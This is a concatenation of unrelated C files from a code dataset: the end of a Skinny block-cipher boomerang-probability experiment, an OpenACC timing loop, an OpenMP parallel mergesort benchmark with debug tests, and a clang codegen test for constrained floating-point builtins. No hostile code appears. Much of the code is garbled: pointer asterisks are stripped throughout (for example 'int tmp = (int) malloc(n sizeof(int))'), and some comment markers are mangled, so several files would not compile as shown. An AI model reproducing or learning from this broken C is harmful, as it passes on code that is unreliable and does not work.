char)(strtol(hex, NULL, 16) & 0xff); } } int main() { // srand((unsigned)time(NULL)); // Initialization, should only be called once. int r = rand(); // init_prng(1); // //test all versions of Skinny // for (i = 0; i < (sizeof(versions) / sizeof(versions)); i++) // { // sprintf(name, "test_vectors_%i_%i.txt", versions[i][0], versions[i][1]); // fic = fopen(name, "w"); // fprintf(fic, "\n\nSkinny-%i/%i: \n", versions[i][0], versions[i][1]); // TestVectors(i); // fclose(fic); // printf("Generating test vectors for Skinny-%i/%i - saved in file test_vectors_%i_%i.txt \n", versions[i][0], versions[i][1], versions[i][0], versions[i][1]); // } unsigned char dp[16]; unsigned char dc[16]; unsigned char dk1[48]; unsigned char dk2[48]; // ####################################################################################################### // ####################################################################################################### // ############################## User must change only the following lines ############################## int n = 1000; // Number of independet experiments int R = 6; // Number of rounds int ver = 4; // Determine the version: // [0 = Skinny-64-64] // [1 = Skinny-64-128] // [2 = Skinny-64-192] // [3 = Skinny-128-128] // [4 = Skinny-128-256] // [5 = Skinny-128-384] char dp_str[] = "00000000000000000006000000000000"; char dc_str[] = "00000000000000000000000000000000"; char dk1_str[] = "0000000000000000000000000200000000000000000000000000000004000000"; char dk2_str[] = "000000000000000000000000000000f80000000000000000000000000000007f"; // ####################################################################################################### // ####################################################################################################### convert_hexstr_to_statearray(ver, dp_str, dp); convert_hexstr_to_statearray(ver, dc_str, dc); convert_hexstr_to_tweakarray(ver, dk1_str, dk1); convert_hexstr_to_tweakarray(ver, dk2_str, dk2); //########################## Number of queries ######################### int N1 = Nthreads; // Number of parallel threads : N1 int deg1 = 12; int deg2 = 12; int N2 = 1 << deg1; // Number of bunches per thread: N2 = 2^(deg1) int N3 = 1 << deg2; // Number of queries per bunch: N3 = 2^(deg2) //################### Number of total queries : N1N2N3 ############### double sum = 0; for (int i = 0; i < n; i++) { sum += send_boomerangs(R, ver, N1, N2, N3, dp, dc, dk1, dk2); } printf("\nAverage = 2^(-%0.4f)\n", (log(n) + log(N1) + log(N2) + log(N3) - log(sum))/log(2)); // sum = (double)(n N1 * N2 * N3) / sum; // printf("\nAverage = 2^(-%0.2f)\n", log(sum) / log(2)); return 0; }
the_stack_data/165768549.c	#include <stdio.h> #include <stdlib.h> #include <omp.h> #define SIZE 1048576 int main() { double A = (double )malloc(sizeof(double) * SIZE); double t_start, t_end; #pragma acc data copyin(A[0:SIZE]) { t_start = omp_get_wtime(); #pragma acc parallel loop num_gangs(NUM_GANGS), vector_length(VECTOR_LENGTH) for (int i = 0; i < SIZE; i++) { A[i] = i * i; } t_end = omp_get_wtime(); } printf("time=%f\n", t_end - t_start); /* Nonzero exit code */ return 1; }
the_stack_data/25960.c	#include <assert.h> #include <omp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define BENCHMARK(name, block)\ do {\ clock_t t1, t2;\ t1 = clock();\ {\ block\ }\ t2 = clock();\ int duration_ms = (((double)t2 - t1) / CLOCKS_PER_SEC) * 1000;\ printf("%s - duration: %d ms\n", name, duration_ms);\ } while(0); #define BENCHMARK_PARALL(name, block)\ do {\ double t1, t2;\ t1 = omp_get_wtime();\ {\ block\ }\ t2 = omp_get_wtime();\ double duration_ms = (t2 - t1) * 1000;\ printf("%s - duration: %lf ms\n", name, duration_ms);\ } while(0); int is_ordered(const int v, int n); void print_array(int v, int n); void populate_array_seq(int v, int n); void populate_array_parall(int v, int n); void populate_array_parall_better(int v, int n); void mergesort_seq(int v, int a, int b); void mergesort_parall(int v, int a, int b, int threads); void merge(int v, int a, int b); #ifdef DEBUG void test_is_ordered(); void test_merge(); void test_mergesort_seq(); void test_mergesort_parall(); void test_all(); #endif void merge(int v, int a, int b) { / halves: [a, m) and [m, b) / int m = a + (b - a)/2; int n = b - a; int tmp = (int) malloc(n sizeof(int)); int ti = 0, ai = a, bi = m; while(ai < m && bi < b) { tmp[ti++] = (v[ai] < v[bi]) ? v[ai++] : v[bi++]; } // lower half while(ai < m) { tmp[ti++] = v[ai++]; } // upper half while(bi < b) { tmp[ti++] = v[bi++]; } memcpy(v + a, tmp, n * sizeof(int)); free(tmp); } void mergesort_seq(int v, int a, int b) { if(b - a <= 1) return; int m = a + (b - a)/2; mergesort_seq(v, a, m); mergesort_seq(v, m, b); merge(v, a, b); } void mergesort_parall(int v, int a, int b, int threads) { if(b - a <= 1) return; int m = a + (b - a)/2; if(threads > 1) { #pragma omp parallel sections { #pragma omp section mergesort_parall(v, a, m, threads / 2); #pragma omp section mergesort_parall(v, m, b, threads - threads / 2); } } else { mergesort_seq(v, a, m); mergesort_seq(v, m, b); } merge(v, a, b); } /* Returns 1 if the n-element array v is ordered, or 0 otherwise. / int is_ordered(const int v, int n) { for(int i = 0; i < n - 1; ++i) { if(v[i] > v[i+1]) return 0; } return 1; } void print_array(int v, int n) { for(int i = 0; i < n; ++i) { printf("%d ", v[i]); } puts(""); } void populate_array_seq(int v, int n) { for(int i = 0; i < n; ++i) { v[i] = rand() % n; } } void populate_array_parall(int v, int n) { #pragma omp parallel for for(int i = 0; i < n; ++i) { v[i] = rand() % n; } } void populate_array_parall_better(int v, int n) { unsigned seed; #pragma omp parallel private(seed) { // Those constants were chosen arbitrarily. seed = 25234 + 17 * omp_get_thread_num(); #pragma omp for for(int i = 0; i < n; ++i) { v[i] = rand_r(&seed) % n; } } } int main(int argc, char argv[]) { #ifdef DEBUG test_all(); #endif if(argc < 2) { printf("Usage: %s <k>\n", argv[0]); printf("Example: %s %d\n", argv[0], 28); exit(0); } / Size of the sequence: n = 2^k / const int k = atoi(argv[1]); const int n = 1 << k; int v = (int) malloc(n sizeof(int)); srand(time(NULL)); int num_threads; #pragma omp parallel { #pragma omp single num_threads = omp_get_num_threads(); } printf("Running with %d threads\n", num_threads); /* * Just comment/uncomment the section you don't want/want. * There are two benchmarks in each one. / / * SERIAL VERSION. * / / BENCHMARK("populate_array_seq", populate_array_seq(v, n); ); BENCHMARK("megesort_seq", mergesort_seq(v, 0, n); ); / / * PARALLEL VERSION. * */ BENCHMARK_PARALL("populate_array_parall_better", populate_array_parall_better(v, n); ); BENCHMARK_PARALL("mergesort_parall", mergesort_parall(v, 0, n, num_threads); ); assert(is_ordered(v, n)); free(v); return 0; } #ifdef DEBUG void test_is_ordered() { puts("test_is_ordered"); int v[] = {1, 2, 3, 4}; assert(is_ordered(v, 4)); int w[] = {1, 2, 4, 3}; assert(!is_ordered(w, 4)); } void test_merge() { puts("test_merge"); int v[] = {3, 4, 1, 2}; merge(v, 0, 4); assert(is_ordered(v, 4)); int w[] = {1, 2, 3, 4}; merge(w, 0, 4); assert(is_ordered(w, 4)); } void test_mergesort_seq() { puts("test_mergesort_seq"); int v[] = {5, 4, 3, 2, 1}; mergesort_seq(v, 0, 5); assert(is_ordered(v, 5)); int w[] = {4, 3, 2, 1}; mergesort_seq(w, 0, 4); assert(is_ordered(w, 4)); int x[] = {1, 2, 3}; mergesort_seq(x, 0, 3); assert(is_ordered(x, 3)); } void test_mergesort_parall() { puts("test_mergesort_parall"); int v[] = {5, 4, 3, 2, 1}; mergesort_parall(v, 0, 5); assert(is_ordered(v, 5)); int w[] = {4, 3, 2, 1}; mergesort_parall(w, 0, 4); assert(is_ordered(w, 4)); int x[] = {1, 2, 3}; mergesort_parall(x, 0, 3); assert(is_ordered(x, 3)); } void test_all() { puts("test"); test_is_ordered(); test_merge(); test_mergesort_seq(); test_mergesort_parall(); } #endif
the_stack_data/26700685.c	// RUN: %clang_cc1 -triple x86_64-linux -ffp-exception-behavior=maytrap -w -S -o - -emit-llvm %s \| FileCheck %s // Test codegen of constrained math builtins. // // Test that the constrained intrinsics are picking up the exception // metadata from the AST instead of the global default from the command line. #pragma float_control(except, on) void foo(double d, float f, float fp, long double l, int i, const char c) { f = __builtin_fmod(f,f); f = __builtin_fmodf(f,f); f = __builtin_fmodl(f,f); f = __builtin_fmodf128(f,f); // CHECK: call double @llvm.experimental.constrained.frem.f64(double %{{.}}, double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.frem.f32(float %{{.}}, float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.frem.f80(x86_fp80 %{{.}}, x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.frem.f128(fp128 %{{.}}, fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_pow(f,f); __builtin_powf(f,f); __builtin_powl(f,f); __builtin_powf128(f,f); // CHECK: call double @llvm.experimental.constrained.pow.f64(double %{{.}}, double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.pow.f32(float %{{.}}, float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.pow.f80(x86_fp80 %{{.}}, x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.pow.f128(fp128 %{{.}}, fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_powi(f,f); __builtin_powif(f,f); __builtin_powil(f,f); // CHECK: call double @llvm.experimental.constrained.powi.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.powi.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.powi.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_ceil(f); __builtin_ceilf(f); __builtin_ceill(f); __builtin_ceilf128(f); // CHECK: call double @llvm.experimental.constrained.ceil.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.ceil.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.ceil.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.ceil.f128(fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_cos(f); __builtin_cosf(f); __builtin_cosl(f); __builtin_cosf128(f); // CHECK: call double @llvm.experimental.constrained.cos.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.cos.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.cos.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.cos.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_exp(f); __builtin_expf(f); __builtin_expl(f); __builtin_expf128(f); // CHECK: call double @llvm.experimental.constrained.exp.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.exp.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.exp.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.exp.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_exp2(f); __builtin_exp2f(f); __builtin_exp2l(f); __builtin_exp2f128(f); // CHECK: call double @llvm.experimental.constrained.exp2.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.exp2.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.exp2.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.exp2.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_floor(f); __builtin_floorf(f); __builtin_floorl(f); __builtin_floorf128(f); // CHECK: call double @llvm.experimental.constrained.floor.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.floor.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.floor.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.floor.f128(fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_fma(f,f,f); __builtin_fmaf(f,f,f); __builtin_fmal(f,f,f); __builtin_fmaf128(f,f,f); // CHECK: call double @llvm.experimental.constrained.fma.f64(double %{{.}}, double %{{.}}, double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.fma.f32(float %{{.}}, float %{{.}}, float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.fma.f80(x86_fp80 %{{.}}, x86_fp80 %{{.}}, x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.fma.f128(fp128 %{{.}}, fp128 %{{.}}, fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_fmax(f,f); __builtin_fmaxf(f,f); __builtin_fmaxl(f,f); __builtin_fmaxf128(f,f); // CHECK: call double @llvm.experimental.constrained.maxnum.f64(double %{{.}}, double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.maxnum.f32(float %{{.}}, float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.maxnum.f80(x86_fp80 %{{.}}, x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.maxnum.f128(fp128 %{{.}}, fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_fmin(f,f); __builtin_fminf(f,f); __builtin_fminl(f,f); __builtin_fminf128(f,f); // CHECK: call double @llvm.experimental.constrained.minnum.f64(double %{{.}}, double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.minnum.f32(float %{{.}}, float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.minnum.f80(x86_fp80 %{{.}}, x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.minnum.f128(fp128 %{{.}}, fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_llrint(f); __builtin_llrintf(f); __builtin_llrintl(f); __builtin_llrintf128(f); // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llrint.i64.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_llround(f); __builtin_llroundf(f); __builtin_llroundl(f); __builtin_llroundf128(f); // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.llround.i64.f128(fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_log(f); __builtin_logf(f); __builtin_logl(f); __builtin_logf128(f); // CHECK: call double @llvm.experimental.constrained.log.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.log.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.log.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.log.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_log10(f); __builtin_log10f(f); __builtin_log10l(f); __builtin_log10f128(f); // CHECK: call double @llvm.experimental.constrained.log10.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.log10.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.log10.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.log10.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_log2(f); __builtin_log2f(f); __builtin_log2l(f); __builtin_log2f128(f); // CHECK: call double @llvm.experimental.constrained.log2.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.log2.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.log2.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.log2.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_lrint(f); __builtin_lrintf(f); __builtin_lrintl(f); __builtin_lrintf128(f); // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lrint.i64.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_lround(f); __builtin_lroundf(f); __builtin_lroundl(f); __builtin_lroundf128(f); // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call i64 @llvm.experimental.constrained.lround.i64.f128(fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_nearbyint(f); __builtin_nearbyintf(f); __builtin_nearbyintl(f); __builtin_nearbyintf128(f); // CHECK: call double @llvm.experimental.constrained.nearbyint.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.nearbyint.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.nearbyint.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.nearbyint.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_rint(f); __builtin_rintf(f); __builtin_rintl(f); __builtin_rintf128(f); // CHECK: call double @llvm.experimental.constrained.rint.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.rint.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.rint.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.rint.f128(fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_round(f); __builtin_roundf(f); __builtin_roundl(f); __builtin_roundf128(f); // CHECK: call double @llvm.experimental.constrained.round.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.round.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.round.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.round.f128(fp128 %{{.}}, metadata !"fpexcept.strict") __builtin_sin(f); __builtin_sinf(f); __builtin_sinl(f); __builtin_sinf128(f); // CHECK: call double @llvm.experimental.constrained.sin.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.sin.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.sin.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.sin.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_sqrt(f); __builtin_sqrtf(f); __builtin_sqrtl(f); __builtin_sqrtf128(f); // CHECK: call double @llvm.experimental.constrained.sqrt.f64(double %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.sqrt.f32(float %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.sqrt.f80(x86_fp80 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.sqrt.f128(fp128 %{{.}}, metadata !"round.tonearest", metadata !"fpexcept.strict") __builtin_trunc(f); __builtin_truncf(f); __builtin_truncl(f); __builtin_truncf128(f); // CHECK: call double @llvm.experimental.constrained.trunc.f64(double %{{.}}, metadata !"fpexcept.strict") // CHECK: call float @llvm.experimental.constrained.trunc.f32(float %{{.}}, metadata !"fpexcept.strict") // CHECK: call x86_fp80 @llvm.experimental.constrained.trunc.f80(x86_fp80 %{{.}}, metadata !"fpexcept.strict") // CHECK: call fp128 @llvm.experimental.constrained.trunc.f128(fp128 %{{.}}, metadata !"fpexcept.strict") }; // CHECK: declare double @llvm.experimental.constrained.frem.f64(double, double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.frem.f32(float, float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.frem.f80(x86_fp80, x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.frem.f128(fp128, fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.pow.f64(double, double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.pow.f32(float, float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.pow.f80(x86_fp80, x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.pow.f128(fp128, fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.powi.f64(double, i32, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.powi.f32(float, i32, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.powi.f80(x86_fp80, i32, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.ceil.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.ceil.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.ceil.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.ceil.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.cos.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.cos.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.cos.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.cos.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.exp.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.exp.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.exp.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.exp.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.exp2.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.exp2.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.exp2.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.exp2.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.floor.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.floor.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.floor.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.floor.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.fma.f64(double, double, double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.fma.f32(float, float, float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.fma.f80(x86_fp80, x86_fp80, x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.fma.f128(fp128, fp128, fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.maxnum.f64(double, double, metadata) // CHECK: declare float @llvm.experimental.constrained.maxnum.f32(float, float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.maxnum.f80(x86_fp80, x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.maxnum.f128(fp128, fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.minnum.f64(double, double, metadata) // CHECK: declare float @llvm.experimental.constrained.minnum.f32(float, float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.minnum.f80(x86_fp80, x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.minnum.f128(fp128, fp128, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f64(double, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f32(float, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f80(x86_fp80, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llrint.i64.f128(fp128, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f64(double, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f32(float, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f80(x86_fp80, metadata) // CHECK: declare i64 @llvm.experimental.constrained.llround.i64.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.log.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.log.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.log.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.log.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.log10.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.log10.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.log10.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.log10.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.log2.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.log2.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.log2.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.log2.f128(fp128, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f64(double, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f32(float, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f80(x86_fp80, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lrint.i64.f128(fp128, metadata, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f64(double, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f32(float, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f80(x86_fp80, metadata) // CHECK: declare i64 @llvm.experimental.constrained.lround.i64.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.nearbyint.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.nearbyint.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.nearbyint.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.nearbyint.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.rint.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.rint.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.rint.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.rint.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.round.f64(double, metadata) // CHECK: declare float @llvm.experimental.constrained.round.f32(float, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.round.f80(x86_fp80, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.round.f128(fp128, metadata) // CHECK: declare double @llvm.experimental.constrained.sin.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.sin.f32(float, metadata, metadata) // CHECK: declare x86_fp80 @llvm.experimental.constrained.sin.f80(x86_fp80, metadata, metadata) // CHECK: declare fp128 @llvm.experimental.constrained.sin.f128(fp128, metadata, metadata) // CHECK: declare double @llvm.experimental.constrained.sqrt.f64(double, metadata, metadata) // CHECK: declare float @llvm.experimental.constrained.sqrt.f32(float, metadata, metadata) // CHECK: declare x86_fp80 